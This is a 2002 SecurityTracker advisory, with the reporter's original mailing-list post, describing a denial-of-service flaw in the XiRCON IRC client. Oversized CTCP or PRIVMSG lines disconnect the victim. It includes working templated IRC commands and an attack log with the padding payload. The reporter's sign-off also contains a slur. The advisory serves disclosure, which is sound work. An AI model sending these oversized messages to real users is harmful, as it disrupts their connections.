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Category:   Application (Instant Messaging/IRC/Chat)  >   XiRCON Vendors:   Hanson, Mark
XiRCON Internet Relay Chat (IRC) Client Connections Can Be Disabled By Remote Users Via an IRC Server
SecurityTracker Alert ID:  1004720
SecurityTracker URL:  http://securitytracker.com/id/1004720
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jul 7 2002
Impact:   Denial of service via network
Exploit Included:  Yes  
Version(s): 1.0 Beta 4
Description:   A denial of service vulnerability was reported in the XiRCON Internet Relay Chat (IRC) client software for Windows platforms. A remote user can cause a client session to terminate with a specially crafted message sent via an IRC server that the client is connected to.

It is reported that a remote user can send a large amount of data to the client via an IRC server when the client is connected to the server to cause the client's IRC session to terminate.

A demonstration exploit transcript is provided:

Ctcp-request: 471b
Msg\privmsg\notice: 473b

This demonstration exploit will trigger the following log entries:

*** Connecting to irc.mv.ru
*** Connected to irc.mv.ru
#MOTD command...
#D4rkGr3y is sending "/ctcp XiRC <aaa...a>" command
*** ERROR: Line length exceeded
*** :D4rkGr3y!death@202.159.66.66 PRIVMSG XiRC
: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA
*** Disconnected from irc.mv.ru

Some other demonstration exploits are provided:

/ctcp [nickname] [471b]
/privmsg [nickname] [473b]
/msg [channel] [473b]
/notice [nickname] [473b]

According to the report, this bug cannot be exploited via IRC servers that do not allow large messages.

Impact:   A remote user can cause a client's IRC session to crash.
Solution:   No solution was available at the time of this entry.

According to the vendor web site, the last release of this product was in 1997 and this product is no longer supported.

Vendor URL:  www.xircon.com/ (Links to External Site)
Cause:   Exception handling error
Underlying OS:  Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  [VulnWatch] bug


I founded bug in XiRCON v.10B4. This is popular irc-client (uses tcl-scripts). You can download
it from www.xircon.com.

Possible DoS attack.

If we send to this irc-client data with large size, it will be disconnected from the server.
Ctcp-request: 471b
Msg\privmsg\notice: 473b
This is the log of DoS-attack on user "XiRC" by useing long ctcp-request (# - comments):

*** Connecting to irc.mv.ru
*** Connected to irc.mv.ru
#MOTD command...
#D4rkGr3y is sending "/ctcp XiRC <aaa...a>" command
*** ERROR: Line length exceeded
*** :D4rkGr3y!death@202.159.66.66 PRIVMSG XiRC 
: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA
*** Disconnected from irc.mv.ru

U can't use this bug on all irc-servers. Some of them cut down ur request, because it's very
long. But some of them are not (RusNet for example).

Xsploits:
/ctcp [nickname] [471b]
/privmsg [nickname] [473b]
/msg [channel] [473b]
/notice [nickname] [473b]

How to Fix?
I don't know...wait for updates..
That's all. 10x.

------------------------------------------------------------
Bug founded by D4rkGr3y from DHGroup (http://www.dhgroup.org)
10x 2 GooDWiN, KodsWeb and all nigaz from irc.dal.net.ru:#DHG



 
 


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